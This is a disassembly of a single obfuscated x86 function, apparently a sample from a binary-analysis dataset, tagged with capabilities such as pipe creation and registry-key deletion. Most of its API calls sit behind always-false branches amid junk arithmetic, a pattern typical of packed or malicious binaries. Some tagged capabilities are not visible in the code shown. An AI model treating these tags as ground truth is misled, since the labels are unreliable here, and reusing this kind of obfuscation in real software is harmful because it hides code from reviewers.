Function at 0x44b034
Capabilities:
Create pipe
Delete registry key
Enumerate gui resources
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
push ebx
mov dword [ebp - 4], 0x5b40
mov ebx, ecx
push esi
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x18], 0x2e6e7f73
push edi
mov dword [ebp - 0x10], 0x3691f6f4
mov dword [ebp - 0x18], 0xf9a8551b
push 3
mov byte [ebp - 0x29], dl
xor edx, edx
mov dword [ebp - 0x14], 0xffffffff
pop edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xc], edx
jmp 0x44b090
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x190], 0xfffffffe
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x44b07f
xor esi, esi
mov dword [ebp - 0xc], edx
inc esi
jmp 0x44b0af
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xf4], 0xa5b04204
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x44b09e
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
dec eax
neg eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 4]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 4]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 4]
jg 0x44b0e3
mov eax, edx
cmp dword [ebp - 4], edx
je 0x44b0e5
mov eax, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jne 0x44b105
cmp dword [ebp - 0x10], edx
jne 0x44b105
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xf4], esi
mov eax, 0xf99ff606
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 4], 0xcd795364
mov dword [ebp - 0x1c], 0x6e311378
mov dword [ebp - 0xc], 0xd43d
mov dword [ebp - 4], edi
cmp dword [ebp - 4], edx
jl 0x44b31c
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], 7
mov dword [ebp - 0x10], 0x5e148cb4
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x58], edx
je 0x44b182
mov eax, dword [ebp - 4]
mov ecx, esi
mov eax, dword [ebp + eax*4 - 0x58]
add eax, 0xf6b9af9
jne 0x44b184
mov ecx, edx
mov eax, dword [ebp - 4]
cmp ecx, dword [ebp + eax*4 - 0x58]
jle 0x44b211
mov dword [ebp - 0x14], 0x5eb20068
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44b1cb
push 0xd8c
push 0x16b4
push 0x26c7
push 0x1a63
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
xor edx, edx
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], edx
jl 0x44b2a1
mov dword [ebp - 0x10], 0xf1f13b01
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], edx
jl 0x44b207
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44b202
push 0xf4f
push 0x1b9
push edx
call dword [sym.imp.USER32.dll_OffsetRect]
xor edx, edx
dec dword [ebp - 0x10]
jns 0x44b1e6
dec dword [ebp - 0x14]
jns 0x44b1d7
jmp 0x44b2a1
mov dword [ebp - 0x10], 0x3888
mov dword [ebp - 0x20], 0xe5c48968
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x58]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 4]
setg cl
cmp ecx, 0xc74c3eec
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x10], edx
je 0x44b28d
mov dword [ebp - 0x10], 0x9cc0f90
dec dword [ebp - 0x10]
jmp 0x44b2a1
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x44b2a1
push edx
push esi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
xor edx, edx
mov dword [ebp - 0xc], edx
jmp 0x44b30e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0xc]
add ecx, 0xab2d
sub ecx, dword [ebp + eax*4 - 0x58]
neg ecx
sbb ecx, ecx
add ecx, 4
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
sub eax, 0xffff
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x58]
mov dword [ebp - 0x18], edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jle 0x44b2a6
dec dword [ebp - 4]
jns 0x44b158
mov edi, dword [0x4c2a0c]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0x5c], 0xffffffff
mov dword [ebp - 4], 0x29000d4e
mov dword [ebp - 0xc], 9
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 3
mov dword [ebp - 0x6c], edi
mov dword [esi], edx
mov dword [esi + 4], edx
mov dword [esi + 8], edx
mov dword [esi + 0xc], edx
jg 0x44b449
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x68], edx
jne 0x44b37d
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x64], edx
je 0x44b3cb
mov dword [ebp - 0xc], edx
jmp 0x44b3c3
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x68], edx
jne 0x44b439
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x68]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x44b3ac
jmp 0x44b439
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 3
jg 0x44b439
mov dword [ebp - 0x20], 1
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 4]
sete bl
xor edx, edx
imul ebx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x18]
cmp ebx, eax
mov eax, dword [ebp - 4]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xc]
setg cl
xor edx, edx
cmp ecx, 0xfc5c
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 4]
setne cl
mov dword [ebp + eax*4 - 0x68], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x44b3db
xor edx, edx
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jle 0x44b36a
mov ebx, dword [ebp - 0x28]
xor ecx, ecx
inc ecx
cmp byte [ebp - 0x29], 0
je 0x44b724
cmp edi, ecx
jne 0x44b724
mov dword [ebp - 4], 0x3f4f46db
mov dword [ebp - 0x18], 0xcb5af9f7
mov dword [ebp - 0x14], edx
jmp 0x44b47f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x80], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x44b471
mov dword [ebp - 4], 2
cmp dword [ebp - 4], edx
jl 0x44b555
xor ebx, ebx
inc ebx
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x14], edx
jmp 0x44b4b5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x160], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x44b4a4
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x80], edx
jne 0x44b4de
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x80]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x80], ebx
jl 0x44b4ec
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x80], edx
je 0x44b4ee
mov edx, ebx
mov dword [ebp - 0x160], edx
xor ecx, ecx
mov eax, dword [ebp - 4]
push 0
mov eax, dword [ebp + eax*4 - 0x80]
cmp edx, eax
mov eax, dword [ebp - 4]
sete cl
sub ecx, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 4]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov eax, dword [ebp + eax*4 - 0x80]
imul ecx, ecx, 0xfffffff7
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
cmp ecx, ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x10], eax
dec dword [ebp - 4]
jns 0x44b498
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x10], 0x64b9
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 0x2dc6606a
mov dword [ebp - 0x20], 0xe45104f3
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
test eax, eax
mov eax, dword [ebp - 4]
setns dl
mov dword [esi + 8], 4
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 4]
inc ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], ecx
je 0x44b5cf
mov eax, edx
cmp dword [ebp - 0x1c], edx
je 0x44b5d1
mov eax, ecx
cmp eax, dword [ebp - 4]
je 0x44b6a5
mov dword [ebp - 0xc], ecx
push 5
mov dword [ebp - 0x18], 0xfffffffa
pop eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffd
sbb eax, eax
inc eax
cmp eax, 0xfffffffe
jle 0x44b601
cmp dword [ebp - 0xc], edx
jne 0x44b603
mov ecx, edx
mov eax, dword [ebp - 0xc]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xdd25
mov eax, dword [ebp - 0xc]
setle cl
sub eax, ecx
sub eax, 5
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 1
mov eax, dword [ebp - 0xc]
setl cl
xor edx, edx
cmp eax, ecx
setne dl
xor ecx, ecx
sub edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp edx, eax
setg cl
mov dword [ebp - 0xc], ecx
xor ecx, ecx
mov eax, dword [ebp - 0xc]
test eax, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
sub edx, 0xfeed
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x4b1c2fbf
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, 0x6a9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0xc], eax
jmp 0x44b6d7
mov dword [ebp - 0x20], 0x2f725dc8
mov dword [ebp - 0x14], edx
jmp 0x44b6c2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c], 0x42ea6ae2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x44b6b1
dec dword [ebp - 0x10c]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 4]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x10]
jl 0x44b700
mov eax, ecx
cmp dword [ebp - 0x1c], edx
jne 0x44b702
mov eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov dword [esi + 0xc], 0x4c2a0c
mov dword [ebp - 0x20], 0x20e83c77
mov dword [ebp - 0x14], edx
jmp 0x44b741
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe0], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x44b730
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44b760
push edx
push edx
push 0x156b
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xe0], eax
cmp ebx, edi
jge 0x44c820
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
push 4
mov dword [ebp - 0x24], 0xd162c5d1
mov dword [ebp - 4], edx
pop ebx
jmp 0x44b797
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1a0], 0xb9b5
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x44b786
push 3
mov dword [ebp - 4], edx
pop ecx
jmp 0x44b7b5
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x124], 0x72c34ccb
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x44b7a4
mov dword [ebp - 4], edx
jmp 0x44b7d0
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1d8], 0x86cae8ef
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x44b7bf
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ecx
jg 0x44b93a
mov dword [ebp - 0x14], 0xf2000252
mov dword [ebp - 0x18], 0xf0a0cd95
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], edx
jl 0x44b92b
mov dword [ebp - 0xc], edx
jmp 0x44b811
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xa8], 0x7a73d2d6
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x44b800
mov dword [ebp - 0xc], edx
jmp 0x44b82c
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb4], 0xa7ecc244
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x44b81b
mov dword [ebp - 0xa4], edx
jmp 0x44b859
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44b853
push 0x14f1
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 3
xor edx, edx
pop ecx
inc dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], ecx
jle 0x44b839
mov dword [ebp - 0xb0], edx
cmp dword [ebp - 0xb0], 2
jg 0x44b922
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x20], 0xc266d8ff
mov dword [ebp - 0x24], 0xd764ce34
mov dword [ebp - 0x24], 0x4a797449
mov esi, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
neg esi
sbb esi, esi
xor ecx, ecx
neg esi
mov eax, dword [ebp + eax*4 - 0xa8]
cmp eax, 0x885ea6ed
mov eax, dword [ebp - 0x14]
sete cl
xor edx, edx
cmp ecx, esi
setge dl
cmp dword [ebp + eax*4 - 0x1a0], edx
jle 0x44b8f5
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x44b8ed
push 0x15b6
push 0xb34
push 0x11e9
push 0x1def
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor edx, edx
dec dword [ebp - 0x120]
jmp 0x44b90c
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], 2
jle 0x44b874
push 3
pop ecx
dec dword [ebp - 0x14]
jns 0x44b7fb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x44b7e1
xor esi, esi
inc esi
mov dword [ebp - 0x10], esi
mov ebx, 0x4c2a10
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x3fda37b1
push 2
mov dword [ebp - 0x18], 0x13222c7e
pop edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], edx
jmp 0x44b979
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x180], 0xb6eab3cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x44b968
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x14
jle 0x44ba75
push 5
pop ebx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x24], 0xfffffff6
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x7d393e75
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x24], 0x5ec35211
mov dword [ebp - 0x14], edx
jmp 0x44b9c9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1bc], 0x9a7b445a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x44b9b8
mov dword [ebp - 4], 0xffffffe3
jmp 0x44ba5b
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x24], 0x6b87d0fa
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x24], 0x76eea530
mov dword [ebp - 0xc], edx
jmp 0x44ba07
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x148], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x44b9fa
mov dword [ebp - 0xc], edx
jmp 0x44ba22
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x128], 0xfffffffe
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x44ba11
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], edx
jl 0x44ba55
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44ba41
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x148], edx
jne 0x44ba52
dec dword [ebp - 0x14]
jns 0x44ba2f
push 3
pop ecx
inc dword [ebp - 0x18]
inc dword [ebp - 4]
cmp dword [ebp - 4], 9
jg 0x44b9da
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jg 0x44b98e
mov ebx, dword [ebp - 0x1c]
dec dword [ebp - 0x20]
mov edi, edx
cmp dword [ebp - 0x28], 0
jle 0x44c078
jmp 0x44ba89
push 3
pop ecx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0xc], 0xf5f49900
mov dword [ebp - 0x14], 0xcc2fdcba
mov dword [ebp - 0x18], 0xfffffffd
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 6
mov dword [ebp - 0x10], edx
jmp 0x44bac1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf0], 0x7c9d5fac
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44bab0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xec]
sub eax, 0x1ce3
push 5
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
cmp ecx, eax
setg dl
mov dword [ebp - 0x10], edx
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x44bb3d
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
xor edx, edx
mov eax, dword [ebx]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x20], 0xedc0223d
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], edx
jmp 0x44bb5f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x74], 0xd76270e7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x44bb51
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0xfffffff2
je 0x44bc6e
xor ebx, ebx
mov dword [ebp - 4], 0x917ab6da
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x10], ebx
jmp 0x44bb9f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd0], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x44bb8e
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jne 0x44bbb7
mov ecx, ebx
cmp dword [ebp - 4], ebx
je 0x44bbb9
mov ecx, esi
mov eax, dword [ebp - 4]
xor edx, edx
mov eax, dword [ebp - 0x74]
imul eax, ecx
cmp eax, 0x626a
mov eax, dword [ebp - 4]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x70]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 4], ecx
xor ecx, ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x70]
cmp eax, 0x520f
setne cl
cmp dword [ebp - 0xc], ecx
jge 0x44bc23
cmp dword [ebp - 0x74], ebx
jne 0x44bc23
mov edx, ebx
cmp dword [ebp - 4], ebx
je 0x44bc25
mov edx, esi
mov eax, dword [ebp - 0x70]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0xd0]
jne 0x44bc3a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd0]
imul eax, dword [ebp - 0xd0]
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xe24b
setle cl
mov dword [ebp - 0xd0], ecx
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff2
jne 0x44bb74
mov ebx, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x10], edx
jmp 0x44bc88
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x30], 3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x44bc7a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], 0xfffffffa
mov eax, dword [ebp - 0x1c]
add eax, 0xf7cd
jne 0x44bcab
mov eax, edx
cmp dword [ebp - 0x30], edx
je 0x44bcad
mov eax, esi
mov ecx, dword [ebp - 0x1c]
imul ecx, eax
mov eax, 0xffff
sub eax, ecx
je 0x44bcc3
cmp dword [ebp - 0x30], edx
je 0x44bcc3
mov edx, esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
cmp ecx, 0xffff
sbb eax, eax
neg eax
cmp eax, 0xa5f3
jne 0x44bd4b
mov dword [ebp - 0x10], 0xd73d
xor esi, esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x20], 0x52fb29d9
mov eax, dword [ebp - 0x10]
neg eax
je 0x44bd08
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setle dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x44bd3a
cmp dword [ebp - 0x30], esi
je 0x44bd3a
xor eax, eax
lea edx, [eax + 1]
jmp 0x44bd3c
mov edx, esi
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x20], ecx
jmp 0x44bd70
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x44bd72
push edx
push 0x104d
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
xor edx, edx
mov esi, dword [ebx + 4]
push 2
pop ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xfffffff8
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x10], edx
jmp 0x44bd98
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x48], 0x3df7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44bd8a
xor ecx, ecx
inc ecx
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], edx
jl 0x44bf14
mov dword [ebp - 0x1c], 0x2937a3a1
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], edx
jmp 0x44bdcc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x34], 0xffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44bdbe
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x48], ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0x11
jge 0x44bf05
xor esi, esi
inc esi
mov dword [ebp - 0x14], 0x6ff18ee8
mov dword [ebp - 0x20], 0xd970979b
mov dword [ebp - 0x10], edx
